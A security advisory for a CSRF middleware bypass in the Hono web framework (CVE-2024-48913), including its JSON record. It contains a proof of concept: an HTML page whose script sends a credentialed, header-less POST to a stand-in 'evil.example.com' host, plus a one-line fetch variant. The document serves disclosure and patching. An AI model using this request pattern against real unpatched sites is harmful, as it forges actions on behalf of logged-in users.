GHSA-2234-FMW7-43WR

Vulnerability from github – Published: 2024-10-15 17:43 – Updated: 2024-11-07 18:33
VLAI
Summary
Hono allows bypass of CSRF Middleware by a request without Content-Type header.
Details

Summary

Bypass CSRF Middleware by a request without Content-Type herader.

Details

Although the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.

https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89

PoC

// server.js
import { Hono } from 'hono'
import { csrf }from 'hono/csrf'
const app = new Hono()
app.use(csrf())
app.get('/', (c) => {
  return c.html('Hello Hono!')
})
app.post('/', async (c) => {
  console.log("executed")
  return c.text( await c.req.text())
})
Deno.serve(app.fetch)

<!-- PoC.html -->
<script>
async function myclick() {
    await fetch("http://evil.example.com", {
    method: "POST",
    credentials: "include",
    body:new Blob([`test`],{}),
    });
}
</script>
<input type="button" onclick="myclick()" value="run" />

Similarly, the fetch API does not add a Content-Type header for requests that do not include a Body.

await fetch("http://localhost:8000", { method: "POST", credentials: "include"});

Impact

Bypass csrf protection implemented with hono csrf middleware.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-48913"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-15T17:43:50Z",
    "nvd_published_at": "2024-10-15T16:15:05Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBypass CSRF Middleware by a request without Content-Type herader.\n\n### Details\nAlthough the csrf middleware verifies the Content-Type Header, Hono always considers a request without a Content-Type header to be safe.\n\nhttps://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89\n\n### PoC\n```server.js\n// server.js\nimport { Hono } from \u0027hono\u0027\nimport { csrf }from \u0027hono/csrf\u0027\nconst app = new Hono()\napp.use(csrf())\napp.get(\u0027/\u0027, (c) =\u003e {\n  return c.html(\u0027Hello Hono!\u0027)\n})\napp.post(\u0027/\u0027, async (c) =\u003e {\n  console.log(\"executed\")\n  return c.text( await c.req.text())\n})\nDeno.serve(app.fetch)\n```\n\n```poc.html\n\u003c!-- PoC.html --\u003e\n\u003cscript\u003e\nasync function myclick() {\n    await fetch(\"http://evil.example.com\", {\n    method: \"POST\",\n    credentials: \"include\",\n    body:new Blob([`test`],{}),\n    });\n}\n\u003c/script\u003e\n\u003cinput type=\"button\" onclick=\"myclick()\" value=\"run\" /\u003e\n```\n\nSimilarly, the fetch API does not add a Content-Type header for requests that do not include a Body.\n```PoC2.js\nawait fetch(\"http://localhost:8000\", { method: \"POST\", credentials: \"include\"});\n```\n\n### Impact\nBypass csrf protection implemented with hono csrf middleware.\n",
  "id": "GHSA-2234-fmw7-43wr",
  "modified": "2024-11-07T18:33:19Z",
  "published": "2024-10-15T17:43:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-2234-fmw7-43wr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48913"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/aa50e0ab77b5af8c53c50fe3b271892f8eeeea82"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/blob/cebf4e87f3984a6a034e60a43f542b4c5225b668/src/middleware/csrf/index.ts#L76-L89"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono allows bypass of CSRF Middleware by a request without Content-Type header."
}



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